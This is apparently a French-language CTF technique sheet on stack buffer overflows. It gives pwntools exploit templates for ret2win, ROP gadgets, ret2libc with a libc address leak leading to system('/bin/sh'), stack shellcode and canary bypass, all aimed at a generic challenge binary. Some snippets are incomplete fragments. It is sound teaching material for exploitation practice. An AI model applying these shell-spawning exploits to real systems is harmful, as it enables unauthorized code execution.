---
title: Buffer overflow
description: "Exploiter un débordement de pile : offset, ret2win, ret2libc et contournement des protections."
category: pwn
kind: technique
tags: [pwn, ret2libc, rop, aslr, shellcode]
level: advanced
updated: 2026-11-04
order: 2
aliases: ["stack overflow", "ret2win", "rop chain"]
---

## Reconnaître les protections

```bash
checksec --file=./chall
```

| Protection | Effet | Contournement |
| --- | --- | --- |
| NX | Stack non exécutable | ROP / ret2libc |
| PIE | Adresses randomisées | Fuite d'adresse |
| Canary | Détecte l'écrasement | Fuite / bruteforce |
| RELRO full | GOT en lecture seule | Écrire ailleurs |
| ASLR | Base libc aléatoire | Fuite libc |

## 32 bits : ret2win

```python
from pwn import *

context.binary = elf = ELF('./chall')
io = process(elf.path)

offset = 44
payload = b'A' * offset
payload += p32(elf.symbols['win'])
io.sendline(payload)
io.interactive()
```

```bash
# Trouver l'offset avec un motif
python3 -c 'from pwn import *; print(cyclic(200))'
# Dans gdb après crash : cyclic -l 0x6161616c
```

## 64 bits : gadget + win

```python
from pwn import *

context.binary = elf = ELF('./chall')
rop = ROP(elf)
offset = 40

# Sur x86_64, l'argument doit passer par RDI
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
ret = rop.find_gadget(['ret']).address  # alignement de la stack

payload = flat({
    offset: [ret, pop_rdi, 0x0, elf.symbols['win']]
})
```

## ret2libc

```python
from pwn import *

context.binary = elf = ELF('./chall')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# 1. Fuite de puts@GOT
rop.puts(elf.got['puts'])
rop.main()
io.sendline(flat({offset: rop.chain()}))

leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

# 2. Appel system("/bin/sh")
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(flat({offset: rop2.chain()}))
io.interactive()
```

## Shellcode sur la stack

```python
from pwn import *

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
buffer = 0x7fffffffe000  # adresse leakée

payload = flat({
    0: shellcode,
    offset: p64(buffer)
})
```

Nécessite NX désactivé (`-z execstack`).

## Canary

```python
# Fuite du canary via un format string ou une lecture hors bornes
canary = u64(io.recv(8)) - 0x0a

payload = b'A' * offset
payload += p64(canary)
payload += b'B' * 8
payload += p64(elf.symbols['win'])
```

> [!TIP]
> Si le binaire est PIE, commence par une fuite (`printf("%p")`, `puts` sur une fonction, format string). Sans fuite, les adresses absolues sont inutilisables.

> [!WARNING]
> Les offsets dépendent du compilateur, de la libc et de l'environnement. Ne réutilise jamais un exploit sans recalibrer l'offset dans la même image d'exécution. Un exploit instable peut fonctionner 9 fois sur 10.
